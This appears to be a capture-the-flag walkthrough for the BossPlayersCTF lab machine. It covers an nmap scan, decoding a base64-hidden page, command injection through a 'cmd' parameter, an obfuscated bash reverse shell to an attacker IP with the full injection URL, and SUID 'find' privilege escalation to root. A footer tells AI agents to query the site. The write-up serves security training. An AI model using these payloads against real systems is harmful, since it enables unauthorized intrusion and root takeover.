# BossPlayersCTF

## Nmap

```
sudo nmap 192.168.152.20 -p- -sS -sV

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10 (protocol 2.0)
80/tcp open  http    Apache httpd 2.4.38 ((Debian))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

Port 80 shows the following page.

![](/files/-MXTUGQymyxrWK6nK4r-)

Viewing the source code of this page reveals text at the end.

```
WkRJNWVXRXliSFZhTW14MVkwaEtkbG96U214ak0wMTFZMGRvZDBOblBUMEsK
```

We can take this string and run it through base64. We need to perform this three times to reveal a plain text string.

```
echo 'WkRJNWVXRXliSFZhTW14MVkwaEtkbG96U214ak0wMTFZMGRvZDBOblBUMEsK' | base64 -d
echo 'ZDI5eWEybHVaMmx1Y0hKdlozSmxjM011Y0dod0NnPT0K' |  base64 -d
echo 'd29ya2luZ2lucHJvZ3Jlc3MucGhwCg==' |  base64 -d
```

![](/files/-MXTUynfMJ97lOXUh0PP)

Browsing to workingprogress.php:

![/workingprogress.php](/files/-MXTVJrdm02jcjGBzHtq)

Looking at the comment regarding ping we can take a guess for command injection on the current page. Appending ?cmd=(command) generates results.

![](/files/-MXTVuG4RHBHBmEF91kz)

To create a reverse shell run the following command in a terminal:

```
echo "echo $(echo 'bash -i >& /dev/tcp/10.10.14.8/4444 0>&1' | base64 | base64)|ba''se''6''4 -''d|ba''se''64 -''d|b''a''s''h" | sed 's/ /${IFS}/g'
```

Then take the base64 output and run it as a command in the web browser.

```
http://192.168.152.20/workinginprogress.php?cmd=echo${IFS}WW1GemFDQXRhU0ErSmlBdlpHVjJMM1JqY0M4eE9USXVNVFk0TGpRNUxqRTFNaTg0TUNBd1BpWXhDZz09Cg==|ba%27%27se%27%276%27%274${IFS}-%27%27d|ba%27%27se%27%2764${IFS}-%27%27d|b%27%27a%27%27s%27%27h
```

This will create a reverse shell connection on our `netcat` listener.

![](/files/-MXTWaj1T789G1mV_JQg)

I then transferred `linpeas` over from my attacking machine. Shortly after running linpeas finds that the binary 'find' has the SUID bit set.

Checking this against [GTFOBins](https://gtfobins.github.io/gtfobins/find/#suid) shows we can use this to gain a root shell.

![](/files/-MXT_MgC32c26EKQ1pk_)

Run the following command to spawn a root shell:

```
/usr/bin/find . -exec /bin/sh -p \; -quit
```

![](/files/-MXT_YbgY2sfxgmXV16J)


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://viperone.gitbook.io/pentest-everything/writeups/pg-play-or-vulnhub/linux/bossplayersctf.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.